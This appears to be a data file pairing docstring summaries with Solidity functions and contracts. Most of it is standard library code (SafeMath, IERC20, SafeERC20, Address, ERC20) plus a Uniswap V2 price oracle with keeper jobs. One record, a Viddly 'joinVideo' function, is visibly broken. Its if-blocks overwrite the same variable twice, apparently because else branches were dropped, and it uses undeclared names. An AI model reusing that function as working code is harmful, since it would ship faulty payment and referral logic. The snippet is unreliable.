* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
|
Invests all the underlying yCRV into the pool that mints crops (CRV_./
|
function investAllUnderlying() public restricted {
uint256 underlyingBalance = IERC20(underlying).balanceOf(address(this));
if (underlyingBalance > 0) {
IERC20(underlying).safeApprove(pool, 0);
IERC20(underlying).safeApprove(pool, underlyingBalance);
Gauge(pool).deposit(underlyingBalance);
}
}
| 10,033,046
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
import {SafeMath} from "../../lib/SafeMath.sol";
import {Ownable} from "../../lib/Ownable.sol";
import {FixedPoint} from "../../lib/FixedPoint.sol";
import {IKeep3rV1} from "./IKeep3rV1.sol";
import {UniswapV2OracleLibrary} from "./UniswapV2OracleLibrary.sol";
import {UniswapV2Library} from "./UniswapV2Library.sol";
/**
* @notice A Time-weighted average prices oracle and Keeper job for any uniswap pair
*/
contract ArcUniswapV2Oracle is Ownable {
/* ========== Libraries ========== */
using SafeMath for uint;
/* ========== Storage ========== */
IKeep3rV1 public KP3R;
address public uniV2Factory;
uint public periodWindow = 1 hours;
// mapping from pair address to a list of price observations of that pair
mapping(address => Observation[]) public pairObservations;
address[] internal _pairs;
mapping(address => bool) internal _known;
/* ========== Types ========== */
struct Observation {
uint timestamp;
uint price0Cumulative;
uint price1Cumulative;
}
/* ========== Events ========== */
event WorkDone(address keeper);
event UpdatedAll(address caller);
event PairUpdated(address pair);
event PairAdded(address pair);
event PairRemoved(address pair);
event Keep3rV1AddressSet(address kp3r);
event PeriodWindowSet(uint newPeriodWindow);
event UniV2FactorySet(address newUniV2Factory);
/* ========== Modifiers ========== */
modifier keeper() {
require(
KP3R.isKeeper(msg.sender),
"isKeeper(): keeper is not registered"
);
_;
}
/* ========== Constructor ========== */
constructor(
address _kp3r,
address _uniV2Factory
)
public
{
require(
_kp3r != address(0) && _uniV2Factory != address(0),
"ArcUniswapV2Oracle: Keeper and univ2Factory address must not be null"
);
KP3R = IKeep3rV1(_kp3r);
uniV2Factory = _uniV2Factory;
}
/* ========== Keeper Functions ========== */
/**
* @notice Updates all pairs. The function to be called by the keeper to be rewarded.
*/
function work() external keeper {
bool worked = _updateAll();
require(
worked,
"ArcUniswapV2Oracle:work: the work was not completed!"
);
KP3R.worked(msg.sender);
emit WorkDone(msg.sender);
}
/* ========== External Functions ========== */
/**
* @notice Updates the pair if it is known
* @return `true` if the pair was successfully updated
*/
function updateTokensPair(
address _token0,
address _token1
)
external
returns (bool)
{
address pair = UniswapV2Library.pairFor(uniV2Factory, _token0, _token1);
return updatePair(pair);
}
/**
* @notice Updates the given pair
* @param _pair The pair to be updated
*/
function updatePair(address _pair)
public
returns (bool)
{
require(
_known[_pair],
"ArcUniswapV2Oracle:updatePair(): The pair is not known"
);
bool updated = _update(_pair);
if (updated) {
emit PairUpdated(_pair);
}
return updated;
}
/**
* @notice Updates all pairs
*/
function updateAll() external returns (bool) {
bool worked = _updateAll();
if (worked) {
emit UpdatedAll(msg.sender);
}
return worked;
}
/* ========== Public Getters ========== */
function getPairObservations(address _pair)
external
view
returns (Observation[] memory)
{
return pairObservations[_pair];
}
function getPairs()
external
view
returns (address[] memory)
{
return _pairs;
}
/**
* @notice Returns the last recorded observation for the pair
* @param _pair The pair we want the last observation for
*/
function lastObservation(address _pair)
public
view
returns (Observation memory)
{
require(
_known[_pair],
"ArcUniswapV2Oracle:lastObservation(): The pair is not known"
);
Observation[] memory foundPairObservations = pairObservations[_pair];
return pairObservations[_pair][foundPairObservations.length - 1];
}
/**
* @notice returns the last observation for the token pair
*/
function lastObservationTokens(
address _token0,
address _token1
)
external
view
returns (Observation memory)
{
address pair = UniswapV2Library.pairFor(uniV2Factory, _token0, _token1);
require(
_known[pair],
"ArcUniswapV2Oracle:lastObservationTokens(): The pair is not known"
);
Observation[] memory foundPairObservations = pairObservations[pair];
return pairObservations[pair][foundPairObservations.length - 1];
}
/**
* @notice Returns true if pair is updatable given the period window. Therefore calling work() will yield a reward
* @param _pair The pair to make the check for
*/
function workablePair(address _pair)
public
view
returns (bool)
{
require(
_known[_pair],
"ArcUniswapV2Oracle:workablePair(): pair is not known"
);
Observation memory observation = lastObservation(_pair);
uint timeElapsed = block.timestamp.sub(observation.timestamp);
return timeElapsed > periodWindow;
}
/**
* @notice Returns true if pair is updatable given the period window. Therefore calling work() will yield a reward
*/
function workableTokens(
address _token0,
address _token1
)
external
view
returns (bool)
{
address pair = UniswapV2Library.pairFor(uniV2Factory, _token0, _token1);
require(
_known[pair],
"ArcUniswapV2Oracle:workableTokens(): pair is not known"
);
Observation memory observation = lastObservation(pair);
uint timeElapsed = block.timestamp.sub(observation.timestamp);
return timeElapsed > periodWindow;
}
/**
* @notice Iterates over all known pairs and checks wether there is at least one pair that is updatable
*/
function workable()
external
view
returns (bool)
{
for (uint i = 0; i < _pairs.length; i++) {
if (workablePair(_pairs[i])) {
return true;
}
}
return false;
}
/**
* @notice Returns the pair address of the two tokens
*/
function pairFor(address _token0, address _token1)
external
view
returns (address)
{
return UniswapV2Library.pairFor(uniV2Factory, _token0, _token1);
}
/**
* @notice Computes and returns how much of `_tokenOut` you would get if you give `_amountIn` of `_tokenIn`
*
* @param _tokenIn the address of the token in
* @param _amountIn the amount in terms of `_tokenIn`
* @param _tokenOut the address of the token out
*/
function current(
address _tokenIn,
uint _amountIn,
address _tokenOut
)
external
view
returns (uint)
{
address pair = UniswapV2Library.pairFor(uniV2Factory, _tokenIn, _tokenOut);
require(
_valid(pair, periodWindow.mul(2)),
"ArcUniswapV2Oracle:current(): stale prices"
);
(address token0, ) = UniswapV2Library.sortTokens(_tokenIn, _tokenOut);
Observation memory observation = lastObservation(pair);
(uint price0Cumulative, uint price1Cumulative, ) = UniswapV2OracleLibrary.currentCumulativePrices(pair);
if (block.timestamp == observation.timestamp) {
Observation[] memory observationsForPair = pairObservations[pair];
observation = pairObservations[pair][observationsForPair.length.sub(2)];
}
uint timeElapsed = block.timestamp.sub(observation.timestamp);
timeElapsed = timeElapsed == 0 ? 1 : timeElapsed;
if (token0 == _tokenIn) {
// prettier-ignore
return _computeAmountOut(
observation.price0Cumulative,
price0Cumulative,
timeElapsed,
_amountIn
);
} else {
// prettier-ignore
return _computeAmountOut(
observation.price1Cumulative,
price1Cumulative,
timeElapsed,
_amountIn
);
}
}
/**
* @notice Gives a price quote based on the granularity
* @param _tokenIn the token that `_amountIn` is denominated in
* @param _amountIn the amount to get the quote for
* @param _tokenOut the token that the result is denominated in
* @param _granularity the granularity of the quote in terms of time.
* Ex. if `_granularity` = 2, the quote will be return a
* price based on the `periodWindow` * 2
*/
function quote(
address _tokenIn,
uint _amountIn,
address _tokenOut,
uint _granularity
)
external
view
returns (uint)
{
address pair = UniswapV2Library.pairFor(uniV2Factory, _tokenIn, _tokenOut);
require(
_valid(pair, periodWindow.mul(_granularity)),
"ArcUniswapV2Oracle:quote(): stale prices"
);
(address token0, ) = UniswapV2Library.sortTokens(_tokenIn, _tokenOut);
uint priceAverageCumulative = 0;
uint length = pairObservations[pair].length - 1;
uint i = length.sub(_granularity);
uint nextIndex = 0;
if (token0 == _tokenIn) {
for (; i < length; i++) {
nextIndex = i + 1;
priceAverageCumulative += _computeAmountOut(
pairObservations[pair][i].price0Cumulative,
pairObservations[pair][nextIndex].price0Cumulative,
pairObservations[pair][nextIndex].timestamp.sub(pairObservations[pair][i].timestamp),
_amountIn
);
}
} else {
for (; i < length; i++) {
nextIndex = i + 1;
priceAverageCumulative += _computeAmountOut(
pairObservations[pair][i].price1Cumulative,
pairObservations[pair][nextIndex].price1Cumulative,
pairObservations[pair][nextIndex].timestamp.sub(pairObservations[pair][i].timestamp),
_amountIn
);
}
}
return priceAverageCumulative.div(_granularity);
}
/* ========== Owner functions ========== */
/**
* @notice Sets the period window
*/
function setPeriodWindow(uint _periodWindow) external onlyOwner {
require(
_periodWindow != 0,
"ArcUniswapV2Oracle:setPeriodWindow(): period window cannot be 0!"
);
periodWindow = _periodWindow;
emit PeriodWindowSet(_periodWindow);
}
/**
* @notice Sets the Keep3rV1 address
*/
function setKeep3rAddress(address _kp3r) external onlyOwner {
require(
_kp3r != address(0),
"ArcUniswapV2Oracle:setKeep3rAddress(): _kp3r must not be null"
);
KP3R = IKeep3rV1(_kp3r);
emit Keep3rV1AddressSet(_kp3r);
}
/**
* @notice Adds the pair to the known pairs. Will start updating the given pair
* @dev the order doesn't matter because they are be sorted later down the road
* @param _token0 first token of the pair
* @param _token1 second token of the pair
*/
function addPair(
address _token0,
address _token1
)
external
onlyOwner
{
address pair = UniswapV2Library.pairFor(uniV2Factory, _token0, _token1);
require(!_known[pair], "ArcUniswapV2Oracle:addPair(): already known");
_known[pair] = true;
_pairs.push(pair);
// Add an observation
(uint price0Cumulative, uint price1Cumulative, ) = UniswapV2OracleLibrary.currentCumulativePrices(pair);
pairObservations[pair].push(Observation(block.timestamp, price0Cumulative, price1Cumulative));
emit PairAdded(pair);
emit PairUpdated(pair);
}
/**
* @notice Removes a pair
*/
function removePair(
address _tokenA,
address _tokenB
)
external
onlyOwner
{
address pair = UniswapV2Library.pairFor(uniV2Factory, _tokenA, _tokenB);
require(
_known[pair],
"ArcUniswapV2Oracle:removePair(): pair not added"
);
// Remove the pair from the pairs array
for (uint i = 0; i < _pairs.length; i++) {
if (_pairs[i] == pair) {
delete _pairs[i];
_pairs[i] = _pairs[_pairs.length - 1];
_pairs.length--;
break;
}
}
delete _known[pair];
delete pairObservations[pair];
emit PairRemoved(pair);
}
/**
* @notice sets the univ2 factory address
*/
function setUniV2FactoryAddress(address _uniV2Factory)
external
onlyOwner
{
require(
_uniV2Factory != address(0),
"ArcUniswapV2Oracle:setUniV2FactoryAddress(): _uniV2Factory cannot be 0"
);
uniV2Factory = _uniV2Factory;
emit UniV2FactorySet(_uniV2Factory);
}
/* ========== Internal Functions ========== */
/**
* @dev Updates the pair if within the time window
* @param _pair The pair to update
*/
function _update(address _pair)
internal
returns (bool)
{
// we only want to commit updates once per period (i.e. windowSize / granularity)
uint timeElapsed = block.timestamp - lastObservation(_pair).timestamp;
if (timeElapsed > periodWindow) {
(uint price0Cumulative, uint price1Cumulative, ) = UniswapV2OracleLibrary.currentCumulativePrices(_pair);
pairObservations[_pair].push(Observation(block.timestamp, price0Cumulative, price1Cumulative));
return true;
}
return false;
}
/**
* @dev Loops over all registered pairs and updates them
*/
function _updateAll()
internal
returns (bool updated)
{
for (uint i = 0; i < _pairs.length; i++) {
if (_update(_pairs[i])) {
updated = true;
}
}
}
/**
* @dev Checks wether the pair was updated within `age` time
*/
function _valid(
address _pair,
uint _age
)
internal
view
returns (bool)
{
return block.timestamp.sub(lastObservation(_pair).timestamp) <= _age;
}
function _computeAmountOut(
uint _priceCumulativeStart,
uint _priceCumulativeEnd,
uint _timeElapsed,
uint _amountIn
)
private
pure
returns (uint amountOut)
{
// overflow is desired.
FixedPoint.uq112x112 memory priceAverage =
FixedPoint.uq112x112(uint224((_priceCumulativeEnd - _priceCumulativeStart) / _timeElapsed));
FixedPoint.uq144x112 memory priceAverageMultiplied = FixedPoint.mul(priceAverage, _amountIn);
return FixedPoint.decode144(priceAverageMultiplied);
}
}
|
Returns true if pair is updatable given the period window. Therefore calling work() will yield a reward _pair The pair to make the check for/
|
function workablePair(address _pair)
public
view
returns (bool)
{
require(
_known[_pair],
"ArcUniswapV2Oracle:workablePair(): pair is not known"
);
Observation memory observation = lastObservation(_pair);
uint timeElapsed = block.timestamp.sub(observation.timestamp);
return timeElapsed > periodWindow;
}
| 1,825,320
|
./full_match/97/0xf78fC47cA5d05056c90FE73e0DbDf149789c90f7/sources/project_/contracts/Viddly.sol
|
Allows a user to join a video by paying the joining fee. Joins a video by paying the joining fee. videoId_ The ID of the video to join. referralAddress_ The referral address (optional). return True if the join operation is successful./
|
function joinVideo(
string memory videoId_,
address referralAddress_
) external payable override returns (bool) {
require(videos[videoId_].creator != address(0), "No such video exists");
require(msg.value >= _joiningFee, "Joining fee is less");
require(msg.sender!= referralAddress_,"new joiner address and referral address is not same");
require(!videoNodes[videoId_][msg.sender].exists,"You have already joined the video");
if(referralAddress_!=address(0))
{
require(videoNodes[videoId_][referralAddress_].exists,"No such referral address exists");
}
if (referralAddress_ == address(0)) {
current = videos[videoId_].creator;
current = referralAddress_;
}
while (
videoNodes[videoId_][current].left != address(0) &&
videoNodes[videoId_][current].right != address(0)
) {
if (
_getBalance(videoId_, videoNodes[videoId_][current].left) <
_getBalance(videoId_, videoNodes[videoId_][current].right)
) {
current = videoNodes[videoId_][current].left;
current = videoNodes[videoId_][current].right;
}
}
if (endpointNode.left == address(0)) {
endpointNode.left = msg.sender;
endpointNode.right = msg.sender;
}
Node storage node = videoNodes[videoId_][msg.sender];
node.parent = current;
node.exists = true;
bool isFeeDistributed = _distributeFee(videoId_, msg.sender);
require(isFeeDistributed, "Unable to distribute fee");
videos[videoId_].totalEarning += msg.value;
_videoJoiners[videoId_].push(msg.sender);
emit VideoJoined(videoId_, msg.sender, msg.value);
return true;
}
| 3,260,824
|
./partial_match/1/0xE994C93026B13337FDA5a96C4141e2e3BC7c47aF/sources/Xflip.sol
|
only owner address can set minBet /
|
function ownerSetMinBet(uint newMinimumBet) public
onlyOwner
{
minBet = newMinimumBet;
}
| 2,844,252
|
./full_match/1/0xED7CF75E1190f6E5Fb300c1be6606359f29252EC/sources/contracts/modules/SecurityManager.sol
|
Lets the owner revoke a guardian from its vault. _vault The target vault./
|
function revokeGuardian(
address _vault
) external onlySelf()
{
_storage.revokeGuardian(_vault);
bool _enabled = _storage.votingEnabled(_vault);
if(_enabled) {
_storage.toggleVoting(_vault);
}
emit GuardianRevoked(_vault);
}
| 17,122,716
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
